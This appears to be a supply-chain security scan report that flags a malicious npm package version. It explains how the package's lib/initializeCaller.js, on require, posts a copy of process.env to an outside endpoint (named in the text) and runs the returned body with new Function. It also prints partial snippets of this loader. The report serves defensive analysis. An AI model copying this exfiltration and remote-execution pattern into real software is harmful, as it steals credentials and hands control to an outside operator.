- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.0.3
- **Selected version is latest:** Yes
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-15554 confirms this npm version as malicious. On require, lib/initializeCaller.js runs a top-level async IIFE that decodes a base64-obfuscated URL to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df and POSTs a shallow copy of process.env to that endpoint with an x-secret-header header. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, granting the remote operator arbitrary code...

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L2: 
L3: const axios = require("axios");
L4: const endpoint = "[redacted]";
...
L8: Buffer.from(endpoint, 'base64').toString('utf-8'),
L9: { ...process.env },
L10: { headers: { "x-secret-header" : "secret" } }
...

Public source snippet (untrusted):

```javascript
L2: 
L3: const axios = require("axios");
L4: const endpoint = "[redacted]";
...
L6: (async function initializeCaller(..._args) {
L7: const response = await axios.post(
L8: Buffer.from(endpoint, 'base64').toString('utf-8'),
L9: { ...process.env },
L10: { headers: { "x-secret-header" : "secret" } }
...
L12: try {
L13: const executor = new Function("require", response.data);
L14: executor(require);
```

### 8. Low: High Entropy Strings
